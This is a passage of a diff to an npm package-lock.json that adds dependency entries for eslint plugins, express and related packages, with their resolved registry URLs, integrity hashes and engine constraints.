"@typescript-eslint/parser": "^5.5.0", + "babel-preset-react-app": "^10.0.1", + "confusing-browser-globals": "^1.0.11", + "eslint-plugin-flowtype": "^8.0.3", + "eslint-plugin-import": "^2.25.3", + "eslint-plugin-jest": "^25.3.0", + "eslint-plugin-jsx-a11y": "^6.5.1", + "eslint-plugin-react": "^7.27.1", + "eslint-plugin-react-hooks": "^4.3.0", + "eslint-plugin-testing-library": "^5.0.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "eslint": "^8.0.0" + } + }, + "node_modules/eslint-import-resolver-node": { + "version": "0.3.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.7.tgz", + "integrity": "sha512-gozW2blMLJCeFpBwugLTGyvVjNoeo1knonXAcatC6bjPBZitotxdWf7Gimr25N4c0AAOo4eOUfaG82IJPDpqCA==", + "dependencies": { + "debug": "^3.2.7", + "is-core-module": "^2.11.0", + "resolve": "^1.22.1" + } + }, + "node_modules/eslint-import-resolver-node/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-module-utils": { + "version": "2.8.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-module-utils/-/eslint-module-utils-2.8.0.tgz", + "integrity": "sha512-aWajIYfsqCKRDgUfjEXNN/JlrzauMuSEy5sbd7WXbtW3EH6A6MpwEh42c7qD+MqQo9QMJ6fWLAeIJynx0g6OAw==", + "dependencies": { + "debug": "^3.2.7" + }, + "engines": { + "node": ">=4" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + } + } + }, + "node_modules/eslint-module-utils/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-plugin-flowtype": { + "version": "8.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-flowtype/-/eslint-plugin-flowtype-8.0.3.tgz", + "integrity": "sha512-dX8l6qUL6O+fYPtpNRideCFSpmWOUVx5QcaGLVqe/vlDiBSe4vYljDWDETwnyFzpl7By/WVIu6rcrniCgH9BqQ==", + "dependencies": { + "lodash": "^4.17.21", + "string-natural-compare": "^3.0.1" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@babel/plugin-syntax-flow": "^7.14.5", + "@babel/plugin-transform-react-jsx": "^7.14.9", + "eslint": "^8.1.0" + } + }, + "node_modules/eslint-plugin-import": { + "version": "2.27.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-import/-/eslint-plugin-import-2.27.5.tgz", + "integrity": "sha512-LmEt3GVofgiGuiE+ORpnvP+kAm3h6MLZJ4Q5HCyHADofsb4VzXFsRiWj3c0OFiV+3DWFh0qg3v9gcPlfc3zRow==", + "dependencies": { + "array-includes": "^3.1.6", + "array.prototype.flat": "^1.3.1", + "array.prototype.flatmap": "^1.3.1", + "debug": "^3.2.7", + "doctrine": "^2.1.0", + "eslint-import-resolver-node": "^0.3.7", + "eslint-module-utils": "^2.7.4", + "has": "^1.0.3", + "is-core-module": "^2.11.0", + "is-glob": "^4.0.3", + "minimatch": "^3.1.2", + "object.values": "^1.1.6", + "resolve": "^1.22.1", + "semver": "^6.3.0", + "tsconfig-paths": "^3.14.1" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8" + } + }, + "node_modules/eslint-plugin-import/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-plugin-import/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-import/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/eslint-plugin-jest": { + "version": "25.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-jest/-/eslint-plugin-jest-25.7.0.tgz", + "integrity": "sha512-PWLUEXeeF7C9QGKqvdSbzLOiLTx+bno7/HC9eefePfEb257QFHg7ye3dh80AZVkaa/RQsBB1Q/ORQvg2X7F0NQ==", + "dependencies": { + "@typescript-eslint/experimental-utils": "^5.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + }, + "peerDependencies": { + "@typescript-eslint/eslint-plugin": "^4.0.0 || ^5.0.0", + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "@typescript-eslint/eslint-plugin": { + "optional": true + }, + "jest": { + "optional": true + } + } + }, + "node_modules/eslint-plugin-jsx-a11y": { + "version": "6.7.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.7.1.tgz", + "integrity": "sha512-63Bog4iIethyo8smBklORknVjB0T2dwB8Mr/hIC+fBS0uyHdYYpzM/Ed+YC8VxTjlXHEWFOdmgwcDn1U2L9VCA==", + "dependencies": { + "@babel/runtime": "^7.20.7", + "aria-query": "^5.1.3", + "array-includes": "^3.1.6", + "array.prototype.flatmap": "^1.3.1", + "ast-types-flow": "^0.0.7", + "axe-core": "^4.6.2", + "axobject-query": "^3.1.1", + "damerau-levenshtein": "^1.0.8", + "emoji-regex": "^9.2.2", + "has": "^1.0.3", + "jsx-ast-utils": "^3.3.3", + "language-tags": "=1.0.5", + "minimatch": "^3.1.2", + "object.entries": "^1.1.6", + "object.fromentries": "^2.0.6", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=4.0" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8" + } + }, + "node_modules/eslint-plugin-jsx-a11y/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/eslint-plugin-react": { + "version": "7.32.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-react/-/eslint-plugin-react-7.32.2.tgz", + "integrity": "sha512-t2fBMa+XzonrrNkyVirzKlvn5RXzzPwRHtMvLAtVZrt8oxgnTQaYbU6SXTOO1mwQgp1y5+toMSKInnzGr0Knqg==", + "dependencies": { + "array-includes": "^3.1.6", + "array.prototype.flatmap": "^1.3.1", + "array.prototype.tosorted": "^1.1.1", + "doctrine": "^2.1.0", + "estraverse": "^5.3.0", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.1.2", + "object.entries": "^1.1.6", + "object.fromentries": "^2.0.6", + "object.hasown": "^1.1.2", + "object.values": "^1.1.6", + "prop-types": "^15.8.1", + "resolve": "^2.0.0-next.4", + "semver": "^6.3.0", + "string.prototype.matchall": "^4.0.8" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8" + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "4.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.6.0.tgz", + "integrity": "sha512-oFc7Itz9Qxh2x4gNHStv3BqJq54ExXmfC+a1NjAta66IAN87Wu0R/QArgIS9qKzX3dXKPI9H5crl9QchNMY9+g==", + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0" + } + }, + "node_modules/eslint-plugin-react/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-react/node_modules/resolve": { + "version": "2.0.0-next.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve/-/resolve-2.0.0-next.4.tgz", + "integrity": "sha512-iMDbmAWtfU+MHpxt/I5iWI7cY6YVEZUQ3MBgPQ++XD1PELuJHIl82xBmObyP2KyQmkNB2dsqF7seoQQiAn5yDQ==", + "dependencies": { + "is-core-module": "^2.9.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + } + }, + "node_modules/eslint-plugin-react/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/eslint-plugin-testing-library": { + "version": "5.11.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-testing-library/-/eslint-plugin-testing-library-5.11.0.tgz", + "integrity": "sha512-ELY7Gefo+61OfXKlQeXNIDVVLPcvKTeiQOoMZG9TeuWa7Ln4dUNRv8JdRWBQI9Mbb427XGlVB1aa1QPZxBJM8Q==", + "dependencies": { + "@typescript-eslint/utils": "^5.58.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0", + "npm": ">=6" + }, + "peerDependencies": { + "eslint": "^7.5.0 || ^8.0.0" + } + }, + "node_modules/eslint-scope": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-scope/-/eslint-scope-7.2.0.tgz", + "integrity": "sha512-DYj5deGlHBfMt15J7rdtyKNq/Nqlv5KfU4iodrQ019XESsRnwXH9KAE0y3cwtUHDo2ob7CypAnCqefh6vioWRw==", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "3.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-visitor-keys/-/eslint-visitor-keys-3.4.1.tgz", + "integrity": "sha512-pZnmmLwYzf+kWaM/Qgrvpen51upAktaaiI01nsJD/Yr3lMOdNtq0cxkrrg16w64VtisN6okbs7Q8AfGqj4c9fA==", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/eslint-webpack-plugin": { + "version": "3.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-webpack-plugin/-/eslint-webpack-plugin-3.2.0.tgz", + "integrity": "sha512-avrKcGncpPbPSUHX6B3stNGzkKFto3eL+DKM4+VyMrVnhPc3vRczVlCq3uhuFOdRvDHTVXuzwk1ZKUrqDQHQ9w==", + "dependencies": { + "@types/eslint": "^7.29.0 || ^8.4.1", + "jest-worker": "^28.0.2", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "peerDependencies": { + "eslint": "^7.0.0 || ^8.0.0", + "webpack": "^5.0.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/jest-worker": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-worker/-/jest-worker-28.1.3.tgz", + "integrity": "sha512-CqRA220YV/6jCo8VWvAt1KKx6eek1VIHMPeLEbpcfSfkEeWyBNppynM/o6q+Wmw+sOhos2ml34wZbSX3G13//g==", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/eslint-webpack-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint/node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" + }, + "node_modules/eslint/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/eslint/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/eslint/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint/node_modules/globals": { + "version": "13.20.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/globals/-/globals-13.20.0.tgz", + "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==", + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint/node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/eslint/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/espree": { + "version": "9.5.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/espree/-/espree-9.5.2.tgz", + "integrity": "sha512-7OASN1Wma5fum5SrNhFMAMJxOUAbhyfQ8dQ//PJaJbNw0URTPWqIghHWt1MmAANKhHZIYOHruW4Kw4ruUWOdGw==", + "dependencies": { + "acorn": "^8.8.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esquery": { + "version": "1.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/esquery/-/esquery-1.5.0.tgz", + "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/estree-walker/-/estree-walker-1.0.1.tgz", + "integrity": "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==" + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==" + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/execa": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/exit": { + "version": "0.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/exit/-/exit-0.1.2.tgz", + "integrity": "sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/expect": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/expect/-/expect-27.5.1.tgz", + "integrity": "sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==", + "dependencies": { + "@jest/types": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/express": { + "version": "4.21.0", + "resolved": "https://registry.npmjs.org/express/-/express-4.21.0.tgz", + "integrity": "sha512-VqcNGcj/Id5ZT1LZ/cfihi3ttTn+NJmkli2eZADigjq29qTlWi/hAQ43t/VLPq8+UX06FCEx3ByOYet6ZFblng==", + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.3", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.6.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.3.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.3", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.10", + "proxy-addr": "~2.0.7", + "qs": "6.13.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.19.0", + "serve-static": "1.16.2", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/express/node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ms/-/ms-2.0.0.tgz", 